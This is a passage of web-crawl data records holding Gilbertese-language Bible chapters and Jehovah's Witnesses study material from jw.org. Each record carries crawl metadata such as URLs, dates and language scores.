iai ni karokoa te toki. 7 Mangaia are e kangai te taamnei ae raoiroi,+ \"Ngkana kam ongo ni bwanaana n te bong aei, 8 ao tai kamatoatoai nanomi n aron naba are n te tai are a kaunai iai ami bakatibu, n te bong are a karaoa iai aia kakatai n te rereua+ 9 ike a kataai iai, e ngae ngke a nori au mwakuri i nanon 40 te ririki.+ 10 Anne bukina ae e maraki iai nanou iroun te roro aei ao I taku: 'A aki toki n rairakinako nanoia mairou, ao a tuai man atai kawaiu.' 11 Mangaia ae I taetae n tuea ni marakin nanou ni kangai: 'A na aki ibuokanibwai n au motirawa.'\"+ 12 Kam na tarataraingkami taari, bwa e kaawa temanna iroumi ni karekea te nano ae buakaka ae aki onimaki ae reke mani kitanan te Atua ae maiu.+ 13 Ma kam na teimatoa n ikaungaunga i marenami ni katoabong ngkai e tuai ni bane \"te Bong aei,\"+ bwa e kaawa temanna iroumi ni kamatoatoaaki nanona ni mwaakan te bure ae mwamwanaa te aba. 14 Bwa ti bon riki bwa taan ibuokanibwai ma te Kristo, tii ngkana ti taua arora are n te moantai ae te aki nanokokoraki ao ti teimatoa iai ni karokoa te toki.+ 15 Bwa e taekinaki ae kangai, \"Ngkana kam ongo ni bwanaana n te bong aei, ao tai kamatoatoai nanomi n aron naba are n te tai are a kaunna iai ami bakatibu.\"+ 16 Bwa antai ake a ongo ma a boni kauna naba te Atua? Tiaki bon aomata ni kabane ake a otinako mai Aikubita irouni Mote?+ 17 Ao antai are e maraki nanon te Atua irouia i nanon 40 te ririki?+ Tiaki te koraki ake a bure, ake a mate n te rereua?+ 18 Ao antai are e taetae n tuea nakoia bwa a na aki ibuokanibwai n ana motirawa? Tiaki bon nakoia te koraki ake a aki ongeaba? 19 Mangaia ae ti noria bwa a aki kona n ibuokanibwai iai ibukina bwa akea aia onimaki.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/ebera\/3\/","date":"2018-01-21T04:30:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890187.52\/warc\/CC-MAIN-20180121040927-20180121060927-00191.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":512,"character_repetition_ratio":0.051,"word_repetition_ratio":0.052,"special_characters_ratio":0.245,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n6 N te tairiki anne ao e a aki reke matun te uea.* Ngaia are e a tuatua bwa e na uotaki te boki are rongorongon taai akekei,+ ao e a warekaki nakon te uea. 2 Ao e noraki ni mwakoro i nanona taekan te baere e taekinna Moretekai ni kaineti ma Bikitan ao Taretia, ake mataniwi n ana auti te uea aika uoman, aika taan teiakina te mataroa, ake a baireia bwa a na katiaa aron* te Uea are Aatueruti.+ 3 Ao e titiraki ni kangai te uea: \"Tera te karineaki ma te kaniwanga ae e a tia n anganaki Moretekai ibukin aei?\" Ao a taku ana toro te uea ake a bebeku i matana: \"Akea te bwai ae e a tia ni karaoaki nakoina.\" 4 Imwina riki ao e taku te uea: \"Antai ane n te katawanang?\" E a rinnako ngkai Aman ni katawanangin+ ana auti* te uea are mai tinaniku, bwa e na taetae ma te uea bwa e na tauraki Moretekai i aon te kai are e a tia ni katauraoia ibukina.+ 5 A taku ana toro te uea nakoina: \"Bon Aman+ are tei n te katawanang.\" Mangaia are e taku te uea: \"Karinna.\" 6 Ngke e rin Aman, ao e taku te uea nakoina: \"Tera ae riai ni karaoaki ibukin te aomata ae e tangiria te uea n anganna te karineaki?\" E taku Aman i nanona: \"Antai riki i rarikiu ae e na tangiria te uea n anganna te karineaki?\"+ 7 Mangaia are e taku Aman nakon te uea: \"Ni kaineti ma te aomata ane e tangiria te uea n anganna te karineaki, 8 ke a uota te kunnikai n uea+ are e bwabwainna te uea, ao te aoti are totoka i aona te uea ae toka te baunuea i aon atun te aoti anne. 9 Ao aanga te kunnikai ao te aoti anne nakon temanna ae moan te karineaki i buakoia ana aomata te uea aika tooka, ao a riai ni kunnikaia iai te aomata are e tangiria te uea n anganna te karineaki, ao ni katokaa i aon te aoti n rinanoni maraen te kaawa. A riai n tatakaruaea ae kangai n ririmoana: 'Aei te bwai ae e na karaoaki ibukin te aomata ae e tangiria te uea n anganna te karineaki.'\"+ 10 E aki tabwara te uea ma e a taku naba nakon Aman: \"Kawaekoako! Anaa te kunnikai ma te aoti, ao karaoa raoi ane ko taekinna ibukini Moretekai are te I-Iutaia are e tekateka ni mataroan ana oo te uea. Tai katuka te bwai teuana mai buakoni baike ko taekin.\" 11 Mangaia are e teirake Aman ao e anaa te kunnikai ma te aoti ao e kunnikaia iai Moretekai,+ ao e katokaa i aon te aoti n rinanoni maraen te kaawa ao e tatakaruaea ae kangai n ririmoana: \"Aei te bwai ae e na karaoaki ibukin te aomata ae e tangiria te uea n anganna te karineaki!\" 12 Imwin anne ao e oki Moretekai nakoni mataroan ana oo te uea, ma e kawaekoaa Aman n okira ana auti ma te tang ma atuna ae rabunaki. 13 Ngke e karakini bwaai ni kabane ake a riki nakoina Aman nakoni buuna are Tireti+ ao nakoia raoraona ni kabane, ao a taku nakoina ana rorobuaka aika wanawana ma buuna are Tireti: \"Ngkana boni kanoaia I-Iutaia* Moretekai, ao ko a bwaka naba i matana, ao ko na aki tokanikai i aona. Ko na boni bwaka i matana.\" 14 Ngke a bon tabe n taetae ma teuaei, ao a a roko naba mataniwi n ana auti te uea ao ni waekoa ni kairaanako Aman nakon te baka n amwarake are e karaoia Etita.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/etita\/6\/","date":"2018-01-23T07:17:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00204.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":627,"character_repetition_ratio":0.09,"word_repetition_ratio":0.061,"special_characters_ratio":0.244,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n14 Ao anne tibwangaia tibun Iteraera are a karekea n te aba ae Kanaan, are a anganaki bwa a na bwaibwai iai iroun Ereata are te ibonga,* ao Iotua are natin Nun, ao mataniwi n aia baronga tibun Iteraera.+ 2 E reke tibwangaia rinanon te kanikina* mairoun te Atua,+ n aron are e tua Iehova rinanoni Mote ibukini baronga ake ruaiwa ma te iterana.+ 3 E a tia Mote n angania tibwangaia baronga ake uoua ma te iterana n iteran te Ioretan are te iterana,*+ ao e aki anga te tibwanga teuana nako buakoia tibun Rewi.+ 4 A iangoaki kanoan Ioteba bwa baronga aika uoua,+ are Manate ao Eberaim,+ ao a aki anga te tibwanga teuana n te aba nakoia tibun Rewi, ma tii kaawa+ ake a na maeka iai, ao aia tawaana ibukin aia nanai ni man ma aia bwai.+ 5 Mangaia are a tibwatibwaa te aba tibun Iteraera n aron are e tua Iehova nakoni Mote. 6 A kawara ngkanne Iotua mwaane aika tibun Iuta i Kirekara,+ ao e taku nakoina Kareba+ are natin Iebunne are te Kenitaite: \"Ko ataa raoi te baere e taekinna Iehova+ nakoni Mote are ana aomata te Atua ae koaua,+ ibukiu ao ibukim i Katetibaanea.+ 7 Bon 40 au ririki ngke e kamwanangaai Mote are ana toro Iehova nako Katetibaanea, bwa N na karaba n tuoa te aba,+ ao I oki ma te rongorongo ae eti raoi.*+ 8 E ngae ngke a kabwarai nanoia* aomata naake tariu ake raou ni mwananga, ma I irira Iehova ae Atuau ma nanou ni kabane.*+ 9 E taetae n tuea n te bong arei Mote ni kangai: 'E na riki te aba are e nakonako iai waem bwa tibwangam ae teimatoa ma natim, ibukina bwa ko irira Iehova ae Atuau ma nanom ni kabane.'+ 10 Ao e a tia ni kateimatoa maiuu Iehova+ i nanon ririki aika 45 aikai n aron are e beritanna,+ man te tai are e karaoa iai te berita aei Iehova nakoni Mote, ngke a nakonako tibun Iteraera n te rereua.+ Bon iai naba ngai n te bong aei, ao ai 85 au ririki. 11 Ao n te bong aei, ao I boni korakora naba n aron are n te bong are e kamwanangaai iai Mote. Bon titeboo korakorau ae ngkai ma are ngkekei, ibukin te buaka ke mwakuri riki tabeua. 12 Mangaia ae anganai te aono ae maungaunga aei are e beritanna Iehova n te bong arei. E ngae ngke ko ongo n te bong arei bwa iai taian Anakim+ ikekei ma kaawa aika korakora aika nonoaki,+ ma e na boni* memena irou Iehova,+ ao N na kakioianako,* n aron are e beritanna Iehova.\"+ 13 Mangaia are e taetae Iotua ni kakabwaiaa Kareba are natin Iebunne, ao e anganna Eberon bwa tibwangana.+ 14 Anne bukina ae Eberon bon tibwangani Kareba are natin Iebunne are te Kenitaite ni karokoa te bong aei, ibukina bwa e irira Iehova ae Atuan Iteraera ma nanona ni kabane.+ 15 Aran Eberon mai mwaina boni Kiriataareba+ (Areba bon te mwaane ae kakannato i buakoia taian Anakim). Ao e a motirawa te aba arei man te buaka.+\n^ Nora Nanon Taeka.\n^ A kabongana te aro teuana are e kona iai te Atua ni kaotia bwa tera nanona ni kaineti ma te bwai anne.\n^ Ae taekan te itera are mai mainiku.\n^ Ebera, \"ma te taeka ae ai aron nanou.\"\n^ Ebera, \"kairi nanoia aomata bwa a na ran.\"\n^ Ebera, \"kororaoi; tabwanin raoi.\"\n^ Ke, \"n taraana e.\"\n^ Ke, \"taua aia tabo.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/iotua\/14\/","date":"2018-01-23T07:14:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00204.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":594,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.428,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n9 Ni kaineti ngkanne ma te mwakuri n ibuobuoki ibukia te koraki aika itiaki,*+ e aki kainnanoaki ae N na koroboki nakoimi, 2 bwa I atai nanomi ni kan ibuobuoki are I kamoamoaingkami iai nakoia Kristian ake i Maketonia, n taekinna bwa ai teuana ngkai aia ririki n tauraoi n ibuobuoki taari mai Akaia, ao a kaungaaki angia kaaini Maketonia n ingaingan nanomi. 3 Ma I kanakoatiia taari, bwa e kaawa n akea uaan ara kamoamoa ibukimi ni kaineti ma aei, ao kam aonga n tauraoi raoi, n aron are I aki toki n taekinna ibukimi. 4 Bwa ngkana a irai kaaini Maketonia ao a kuneingkami n aki tauraoi, ao ti na kamaamaeaki ngaira ma ngkami ibukin onimakinami iroura. 5 Mangaia ae I taku bwa e riai kaungaaia taari bwa a na moantaai ni kawaringkami ao ni moantaai ni katauraoa ami bwaintituaraoi are e a kamani baireaki iroumi, bwa e aonga n tauraoi bwa te bwaintituaraoi, ao tiaki te bwai ae aonikaiaki n anaaki. 6 Bwa ni kaineti ma aei, ao ane e unika ae karako, e na taia naba ae karako, ao ane e unika ae bati, e na taia naba ae bati.+ 7 Ke e karaoa ae e kataua i nanona temanna ma temanna, tiaki n aron ae akea nanona* iai ke e tebonaki nako iai,+ bwa te Atua e tangira ane e anga ma kukurein nanona.+ 8 Bwa e kona naba te Atua ni kabatiaa ana akoi ae rianako nakoimi ni bwaai nako, bwa a na tau mwaitin ami bwai n taai nako ibukini kainnanomi, ma a na kabatiaaki naba nakoimi baika kam kainnanoi ibukini karaoani mwakuri aika raraoi ni kabane.+ 9 (N aron are koreaki ni kangai: \"E bati* n anganga, ao e anganga nakoia akana maiu ni kainnano. E teimatoa ana raoiroi n aki toki.\"+ 10 Ao Teuare kabatiai koraa ni katauraoi nakon te tia ununiki ao te kariki ibukin te amwarake, e na katauraoi ao ni kamwaiti koraa nakoimi bwa kam na uniki ao e na karikirakei uaan ami raoiroi.)* 11 Kam anganaki kakabwaia n aekaia nako bwa kam aonga n tituaraoi n anganga n aaro nako, ao rinanon ara mwakuri e a kairiia aomata te tituaraoi aei bwa a na kaitaua te Atua, 12 ibukina bwa karaoan te mwakuri n ibuobuoki aei nakoia aomata e aki tii karekei baika kainnanoaki irouia te koraki aika itiaki,*+ ma e kauekei naba taeka ni kakaitau aika rangi ni bati nakon te Atua. 13 A neboa te Atua ibukina bwa te ibuobuoki are kam anga e kaotaki iai bwa kam ira nanon te baere kam taekinna i mataia aomata, ni kaineti ma te rongorongo ae raoiroi ibukini Kristo ao ibukin naba ae kam tituaraoi n angabwai nakoia ao nakoia aomata ni kabane.+ 14 Ao a kakorakoraia n tataro ni bubutii ibukimi, ni kaotia naba bwa e korakora nanoia ni kan iraorao ma ngkami ibukin ana akoi ae rianako te Atua ae moanibaan te raoiroi, are reke iroumi. 15 Ke e katituaraoaki te Atua ibukin ana bwaintituaraoi ae akea boona ao akea n ai arona.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-i-korinto\/9\/","date":"2018-01-19T14:26:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887981.42\/warc\/CC-MAIN-20180119125144-20180119145144-00673.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":526,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n19 E kangai ana taeka Iehova: \"Naako ao kabooa te kaatibu mairoun te tia karaomwangko.+ Kairiia tabeman aia unimwaane aomata ao tabeman aia unimwaane ibonga,* 2 ao otinako nakon ana Mwarua Natin Innom,+ n te tabo n rin n ana Mataroa te tia Karaomwangko. Ao katanoatai ikanne taeka aika I taekin nakoim. 3 Ko na kangai, 'Ongora n ana taeka Iehova, ngkami aika uean Iuta ao kaain Ierutarem. E kangai ana taeka Iehova ae Atuaia taanga ni buaka,* ae Atuan Iteraera: \"'\"Ae N nang karokoa te kabuanibwai i aon te tabo aei, ae a na kubanrou* iai aomata nako ake a ongo taekana. 4 E riki aei ibukina bwa a kitanai+ ao a karaoa te tabo aei bwa e na aki kinaaki.+ A angakarea iai nakoia atua riki tabeman ake a aki kinaia, ao a aki naba kinaaki irouia aia bakatibu ao uean Iuta, ao a kaona te tabo aei n raraaia aomata aika akea aia bure.+ 5 A katei ana tabo Baara aika rietata bwa a na kabuekiia iai natiia n te ai bwa karea ni kabuekaki aika bwanin nakoni Baara,+ ae te bwai ae I aki tua ke n taekinna ao e aki naba rin i nanou.\"'*+ 6 \"'\"Mangaia ae noria! a a roko boong,\" bon ana taeka Iehova, \"are e nang aki iai aranaki te tabo aei bwa Tobeta ke ana Mwarua Natin Innom, ma e nang aranaki bwa te Mwarua ni Kamamate.+ 7 N na tokobitoi n te tabo aei aia babaire kaain Iuta ao kaain Ierutarem, ao N na kabwakaia n aia kabaang aiaia ao ni baia te koraki ake a ukoukora anaakini maiuia.* Ao N na anga rabwataia ngkai a a mate bwa kanaia mannikiba ake i annang ao manin te aonnaba.+ 8 Ao N na karaoa te kaawa aei bwa te bwai ni kakamaaku ao te bwai ae e na katiitii te aba iai. A na bane naake a rirarikina ni karekea taraana ma te maaku, ao a na katiitii n rekenikaina ni kabane.+ 9 Ao N na karaoiia bwa a na kang irikoia natiia mwaane ao natiia aine, ao a na kang irikoia raoia n aomata ngaiia n tatabemania nako, ibukin otabwaniniaia ao kakaiin nanoia ngkana a karawawataaki irouia aiaia ao te koraki ake a ukoukora anaakini maiuia.\"'*+ 10 \"Ao ibea te kaatibu i mataia mwaane ake a airi ma ngkoe, 11 ao kangai nakoia, 'E kangai ana taeka Iehova ae Atuaia taanga ni buaka: \"Aei arou ae N na ibeiia naba aomata aikai ao te kaawa aei, n aron temanna ngkana e ibea ana mwangko te tia karaomwangko n te aro are e a aki kona ni manga karaoaki uruakina, ao a na taunia maate i Tobeta ni karokoa ae e a aki reke nneia n taunaki.\"'+ 12 \"'Anne te bwai ae N na karaoia nakon te tabo aei,' bon ana taeka Iehova, 'ao nakoia kaaina, bwa N na karaoa te kaawa aei bwa ai aron Tobeta. 13 Ao a na kamwara autin Ierutarem ma aia auti uean Iuta n aron te tabo aei, ae Tobeta,+ eng, auti ni kabane ake a angakarea i aon taubukia nakoni bwaini karawa ni kabane,+ ao ike a kabwaroa iai te karea ae te moi ni karean nakoia atua riki tabeman.'\"+ 14 Ngke e a oki Ieremia mai Tobeta, ike e kanakoa nako iai Iehova bwa e na taetae ni burabeti, ao e tei ni katawanangin ana auti Iehova ao e taku nakoia aomata ni kabane: 15 \"E kangai ana taeka Iehova ae Atuaia taanga ni buaka, ae Atuan Iteraera, 'Akea bwa I a karokoa te kabuanibwai ni kabane nako aon te kaawa aei ao nako aoni kaawana ni kabane, are I taekinna ngkoa n ekianako, ibukina bwa a imanono n rawa n* ongeaba n au taeka.'\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/ieremia\/19\/","date":"2018-01-16T08:00:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886237.6\/warc\/CC-MAIN-20180116070444-20180116090444-00483.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":641,"character_repetition_ratio":0.067,"word_repetition_ratio":0.014,"special_characters_ratio":0.241,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kaaitara te mwaane ngkoa are Iobi ma kataakin etin arona ni kangaanga ake a inenei n riki teuana imwin teuana. Nora aroia kaain te utu ae te Baanitita ngkai a rinanon naba kataakin etin aroia aika tii te arona ma akanne i nanoni boong aikai. N tokina, tera ae e buokiia bwa a na manga karekea te iango ae raoiroi?\nKo tangiria ni wareka te kaongora aei n %%?\n\"Kakantaningaa te Bae Ti Aki Noria\"\n\"Kakantaningaa te Bae Ti Aki Noria\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/taamnei\/te-kantaninga\/te-taamnei\/","date":"2018-01-18T18:28:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887535.40\/warc\/CC-MAIN-20180118171050-20180118191050-00304.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":81,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI Nobembwa 2017\nAron te maroro n Te Taua-n-Tantani ao reireinaia aomata te koaua ibukin aran te Atua. Kabonganai katoto aikai ni karaoi iai oin am maroro.\nBAIKA KAKAWAKI AIKA MENA N ANA TAEKA TE ATUA\nTera ae nanonaki n ukoukoran te Atua? Tera reireiara irouia tibun Iteraera ake a kabwaka n ukoukora Iehova?\nMAIURA NI KRISTIAN\nKo na kangaa n okiriia aomata n te aro uaana? Karikirakea te nano ni kan ongora, maroroakina te reirei teuana ni katoaa okim, ao ururinga tiam ae kakawaki n taai nako.\nBAIKA KAKAWAKI AIKA MENA N ANA TAEKA TE ATUA\nE kaotaki n rongorongon Iona bwa e aki kona ni bwara nanon Iehova ae te Atua iroura ngkana iai ara kairua, ma e kantaningaira bwa ti na karekei reireiara mai iai.\nMAIURA NI KRISTIAN\nKananoan ara iango n rongorongon Iona e kona ni buokira n aki un, e kaeta ara iango ae kairua ibukin ara mwakuri ni minita, ao ni karekea kabebeteara rinanon te tataro.\nBAIKA KAKAWAKI AIKA A MENA N ANA TAEKA TE ATUA\nTera irekereken ara taromauri ao ara iraorao ma tarira n te onimaki?\nBAIKA KAKAWAKI AIKA MENA N ANA TAEKA TE ATUA\nE taraa n ae e na bon aki kamaunaaki Iuta irouia kaaini Baburon. Ma e ngae n anne e na boni koro bukin te taetae ni burabeti aei ao e riai n teimatoa ni kantaningaia Abakuka.\nMAIURA NI KRISTIAN\nNgkana e nang tukaki ara taromauri n utu ibukini bitaki ao n urua ara iraorao ma Iehova ae te Atua, tera ae e na buokira n teimatoa ni kakorakorai ara onimaki ao n taningamarau?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/nobembwa-2017-mwb\/","date":"2018-01-24T07:40:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893530.89\/warc\/CC-MAIN-20180124070239-20180124090239-00705.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":275,"character_repetition_ratio":0.095,"word_repetition_ratio":0.008,"special_characters_ratio":0.202,"stopwords_ratio":0.407,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n27 N te bong anne ao Iehova e na katuuaaea te Ribaietan* ae te naeta ae birimwaaka,N ana kabaang ae matoatoa ma n abwabwaki ao ni korakora,+Te Ribaietan ae te naeta ae minominotaki,Ao e na kamatea te man ane totoa anne ae mena i taari. 2 N te bong anne, anene nakon neiei* ni kangai: \"Te nne ni kureebe ae karekea te wain ae buroburo!+ 3 I kawakina neiei ngai ae Iehova.+ I tebokia ni katoatai.+ I kawakinna ni ngaina ao ni bongBwa e aonga n akea ae e urua.+ 4 Akea te un irou.+ Antai ae e na kaitaraai ma aroka aika kateketeke ao uteute n tain te buaka? N na toutoui ao ni kabueki ni kabane n te ai. 5 Ma ke e taua au nono ni kamatoaa. Ke e karekea te raoi ma ngai,Ke e karekea te raoi teuaei ma ngai.\" 6 Ni boong aika a na roko, ao e na karibua wakaana Iakoba,Ao e na uee Iteraera ma ni bwebwerake,+Ao a na kaona te aba n te uaa.+ 7 Te koaua bwa e na oreaki teuaei n ana oro te aomata are e oreaki irouna? Ke e na tiringaki teuaei n tiringan te aomata are e kamateaki irouna? 8 Ko na kauntaeka ma neiei ma te tang ni maaku ngkana ko kanakoa. Ao teuaei e na kakionakoa neiei n ana oro ae korakora ni bongin te angimainiku.+ 9 Mangaia ae e na karaoaki karekeani kabwaraan ana bure Iakoba n te aro aei,+Ao e na riki te baei bwa te uaa ae tabwanin ngkana e a uotakinako ana bure. E na karaoi atibun nako te baonikareaBwa ai aron atibu aika mmwammwa aika a a tia n ibeibeaki,Ao akea kaai aika tabu* ke baonikareani baika boiarara aika a na tiku.+ 10 Bwa e na kitanaki te kaawa ae nonoaki,Ao a na kaakaki taekan taian tawaana ma ni kitanaki n aron te rereua.+ E na amwarake ikanne te kao te teei ao e na wene,Ao e na kang mwaangan neiei.+ 11 Ngkana a a mwautakataka mwaangan neiei,Ao a na roko aine ao n otei,Ao ni kabonganai bwa kanaan te ai. Bwa akea aia ataibwai aomata aikai.+ Anne bukina ae a na aki nanoangaaki iai iroun te tia Karikiia,Ao e na aki akoiia Teuare karaoiia.+ 12 N te bong anne ao Iehova e na ororei taian uaa ni moa man te Karaanga* ae raanga, ni karokoa Mwaruan Aikubita,+ ao ngkami aika tibun Iteraera kam na rikorikoaki temanna imwin temanna.+ 13 N te bong anne ao e na katangaki te buu ae karongoa,+ ao a na roko te koraki ake a nangi maunanako n te aba ae Aturia+ ma te koraki ake a kamaenakoaki n te aba ae Aikubita,+ ao a na bobaraaki nakon Iehova n te maunga ae tabu i Ierutarem.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/27\/","date":"2018-01-21T11:13:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890514.66\/warc\/CC-MAIN-20180121100252-20180121120252-00574.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":482,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.492,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n56 E kangai ana taeka Iehova: \"Kateimatoa te kaetitaeka ae riai,+ ao karaoa ae raoiroi,Bwa e na waekoa n roko au kakamaiuAo e na kaotaki au raoiroi.+ 2 E a kukurei te aomata ae karaoa aei,Ao natin te aomata ae nimta te baei,Ae e kawakina te bongi n Taabati ao e aki urua,+Ao ae e taua baina man aeka ni buakaka nako. 3 E aki riai ni kangai te ianena ae nimta Iehova,+'E na boni kamaenakoai Iehova ma ana aomata.' Ao e aki riai ni kangai te iunaki, 'Noria! Boni ngai te aroka ae rai.'\" 4 Bwa e kangai ana taeka Iehova nakoia iunaki ake a kawakin au bongi n taabati, ao ake a rinea te bwai ae I rangi ni kimwareirei iai ao ake a nimta au berita: 5 \"N na angania te kanuringa ao te ara i nanon au auti ao i nanon au oo,Ae te bwai ae raoiroi riki nakoia naati mwaane ma naati aine. N na angania te ara ae akea tokina,Ae e na aki mauna. 6 Ni kaineti ngkanne ma ianena ake a nimta Iehova ni beku ibukina,Ma n tangira aran Iehova+Ao n riki bwa ana toro,Ao te koraki nako ake a kawakina te bongi n Taabati ma n aki urua,Ao a nimta au berita, 7 N na kairiia naba nakon au maunga ae tabu+Ao ni kakimwareireiia i nanon umwau n tataro. A na butimwaeaki i aon au baonikarea aia karea ni kabuekaki aika bwanin ao aia karea. Bwa e na aranaki umwau bwa te umwa n tataro ibukia botannaomata ni kabane.\"+ 8 E kangai ana taeka te Uea ae Moan te Rietata ae Iehova are ikotiia tibun Iteraera+ ake a kamaenakoaki: \"N na ikotiia riki tabemwaang nakon teuaei i rarikia naake a a kaman ikotaki.\"+ 9 Nakomai amwarake ngkami ni kabane aika manin te tawaana aika kaakang,Ngkami ni kabane aika manin te buakonikai aika kaakang.+ 10 A mataki ana tia tantani,+ akea i buakoia ae e tantani raoi.+ Boni kamea ngaiia ni kabane aika a bae neweia, aika a aki kona ni kaukau.+ A ikenrawa ma ni wene, ao a kani mamatu. 11 Boni kamea ngaiia aika riao amwamwarakeia,A aki kona n rauaki. Bon taani kawakintiibu ngaiia aika akea aia ataibwai.+ A bane n toui oini kawaia,A ukoukora aia karekemwane n te babakanikawai ngaiia ni kabane ao a kangai: 12 \"Nakomai, kariaia bwa N na anaa teutana te wain,Ao ti na moi ni kakoroira n te kamanging.+ Ao ningabong ai aron naba te bong aei, ma e na rangi n tamaroa riki!\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/56\/","date":"2018-01-17T22:42:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886979.9\/warc\/CC-MAIN-20180117212700-20180117232700-00226.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 